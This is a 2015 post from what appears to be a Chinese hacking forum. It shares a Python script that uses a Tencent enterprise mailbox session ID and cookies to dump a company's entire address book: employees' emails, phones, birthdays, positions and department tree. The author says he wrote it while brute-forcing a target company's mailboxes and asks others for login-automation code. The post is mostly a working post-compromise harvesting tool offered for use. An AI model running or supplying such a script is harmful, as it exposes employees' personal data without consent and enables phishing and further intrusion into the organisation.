搜索
查看: 1133|回复: 0

分享一个腾讯企业邮箱 拖企业通讯录 的 python脚本

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2015-9-3 07:32:14 | 显示全部楼层 |阅读模式
最近在爆破某公司邮箱,然后写了个拖企业通讯录的脚本,写的比较渣,大神勿喷。
下面说下用法:
需要先手动登陆腾讯企业邮箱,然后把url中的sid(不是cookie里的)和cookie里的qm_sid、qm_username填到脚本里去,然后运行,会在当前目录下生成两个文件,一个是all_emails.txt,里面是邮箱。
另一个是depart_staff_tree.txt,里面是部门和部门下的人员的树形结构
PS. 看了下腾讯企业邮箱登陆,比较麻烦,有动态生成post参数,有大神写好的,可以分享下哈~
代码如下


  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # author: Liar.Bing
  4. # description: 获取腾讯企业邮箱通讯录

  5. import requests
  6. import re

  7. import sys;
  8. reload(sys);

  9. sys.setdefaultencoding('utf8');



  10. def print_tree(id, department_infos, level, staff_infors, f):
  11.   prefix = '----' * level
  12.   text = prefix + department_infos[id]['name'] + prefix
  13.   print text
  14.   f.write(text + '\n')
  15.   for key, value in department_infos.items():
  16.     if value['pid'] == id:
  17.       
  18.       print_tree(value['id'], department_infos, level+1, staff_infors, f)
  19.   prefix = '    ' * level   
  20.   for staff in staff_infors:
  21.     if staff['pid'] == id:
  22.       text = prefix + staff['name'] + '  ' + staff['alias']
  23.       print text
  24.       f.write(text + '\n')

  25. if __name__ == "__main__":
  26.   # url参数中的sid
  27.   sid = 'xxxx'
  28.   # cookie中的qm_sid 和 qm_username
  29.   qm_sid = 'xxx'
  30.   qm_username='xxx'

  31.   all_departments_url = 'http://exmail.qq.com/cgi-bin/laddr_biz?action=show_party_list&sid={sid}&t=contact&view=biz'.format(sid=sid)
  32.   cookies = dict(qm_sid=qm_sid
  33.     , qm_username=qm_username)
  34.   request = requests.get(all_departments_url,cookies=cookies)

  35.   text = request.text
  36.   regexp = r'{id:"(\S*?)", pid:"(\S*?)", name:"(\S*?)", order:"(\S*?)"}'
  37.   results = re.findall(regexp, text)
  38.   department_ids = []
  39.   department_infors = dict()
  40.   root_department = None
  41.   for item in results:
  42.      
  43.     department_ids.append(item[0])
  44.     department = dict(id=item[0], pid=item[1], name=item[2], order=item[3])
  45.      
  46.     department_infors[item[0]] = department
  47.     if item[1] == 0 or item[1] == '0':
  48.       root_department = department

  49.   regexp = r'{uin:"(\S*?)",pid:"(\S*?)",name:"(\S*?)",alias:"(\S*?)",sex:"(\S*?)",pos:"(\S*?)",tel:"(\S*?)",birth:"(\S*?)",slave_alias:"(\S*?)",department:"(\S*?)",mobile:"(\S*?)"}'
  50.   limit = 10000

  51.   all_emails = []
  52.   staff_infors = []
  53.   for department_id in  department_ids:
  54.     department_staff_url = 'http://exmail.qq.com/cgi-bin/laddr_biz?t=memtree&limit={limit}&partyid={partyid}&action=show_party&sid={sid}'.format(limit=limit, sid=sid, partyid=department_id)
  55.      
  56.     request = requests.get(department_staff_url,cookies=cookies)
  57.      
  58.     text = request.text
  59.      
  60.     results = re.findall(regexp, text)

  61.      
  62.     for item in results:
  63.       all_emails.append(item[3])
  64.       
  65.       staff = dict(uin=item[0], pid=item[1], name=item[2], alias=item[3], sex=item[4], pos=item[5], tel=item[6], birth=item[7], slave_alias=item[8], department=item[9], mobile=item[10])
  66.       staff_infors.append(staff)

  67.   print str(len(all_emails)) + ' emails'
  68.   with open('all_emails.txt', 'w') as f:
  69.     for item in all_emails:
  70.       f.write(item + '\n')
  71.    
  72.   with open('depart_staff_tree.txt', 'w') as f:
  73.     print_tree(root_department['id'], department_infors, 0, staff_infors, f)
复制代码


您可以更新记录, 让好友们知道您在做什么...
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表